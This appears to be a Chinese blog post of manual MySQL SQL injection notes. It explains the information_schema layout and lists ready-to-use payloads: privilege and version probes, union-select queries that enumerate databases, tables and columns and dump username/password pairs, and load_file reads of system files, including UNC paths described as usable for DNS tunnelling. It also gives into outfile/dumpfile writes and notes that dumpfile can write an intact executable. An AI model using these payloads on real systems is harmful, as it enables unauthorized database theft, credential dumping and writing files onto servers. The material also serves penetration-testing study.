Mysql手工注入笔记

SQLinjection

数据库版本 > Mysql 5.0

※本文不对 Mysql 5.0以下版本再做研究

自带数据库:information_schema

information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)

Mysql数据库结构:

MYsql

符号.代表下一级的意思

1
2
3
4
5
6
7
information_schema.schemata -[存储mysql下所有**数据库**名信息的表]
information_schema.tables -[存储所有数据库下的**表名**信息的表]
information_schema.columns -[存储所有数据库下的**列名**信息的表]
schema_name -[information_schema.schemata中存储的库名]
table_name -表名
column_name -列名
table_schema -数据库名

information_schema 数据库辅助理解结构图:

mysql-information

常用注入参数及解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
database() -数据库名
user() -数据库用户
version() -数据库版本
@@version_compile_os -操作系统
group_concat() -多条数据合并一行
--+ 或 # -注释符
and ord(mid(user(),1,1))=114 -判断是否ROOT权限 返回正确即存在
and (select count(*) from mysql.user)>0 -返回正常,说明具有读写权限,反之数据库帐户被降权
and ord(mid(version(),1,1))>51 -确认数据库版本, 51是ASCII码3 正确则>4.0 错误则<4.0,3.0以上版本,可以用union方法
ord() -获取二进制码
mid() -截位操作
limit a,b (limit a offset b) -限制查询结果的条数,具体区别百度~
...

联合查询注入:

※ [ = 号之后的值,用hex编码0x...或者'XXX'替换使用都可以]

获取所有库名

1
union select group_concat(schema_name) from information_schema.schemata

获取指定库名->所有表名

1
union select group_concat(table_name) from information_schema.tables where table_schema='库名'

获取指定库名->指定表名->所有列名

1
union select group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='库名'

获取指定库名->指定表名->指定列名->所有数据内容

1
union select group_concat(username,"::",password) from 库名.表名

文件读写:

读文件

常见的读文件,可以用16进制代替字符串

1
2
3
4
select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//127.0.1/1.txt') # smb协议
select load_file('\\\\127.0.0.1\\1.txt') # 可用于DNS隧道

写文件

常见的写文件,可以用16进制代替字符串

1
2
select 0x... into outfile 'D:/1.txt'
select 0x... into dumpfile 'D:/1.txt'

顺带说一下

dumpfileoutfile函数的区别

SELECT into outfile -导出到一个txt文件,可以导出每行记录的,这个很适合导库

SELECT into dump-只能导出一行数据

如果想把一个可执行二进制文件用into outfile函数导出,导出后,文件会被破坏。因为into outfile函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏

这时,我们能用into dumpfile导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理

总结:

into outfile-导出内容

into dumpfile-导出二进制文件

关于其它的注入方法

本文不在赘述,学习链接推荐:传送门

作者

Se7en

发布于

2018-10-30

更新于

2022-03-31

许可协议

评论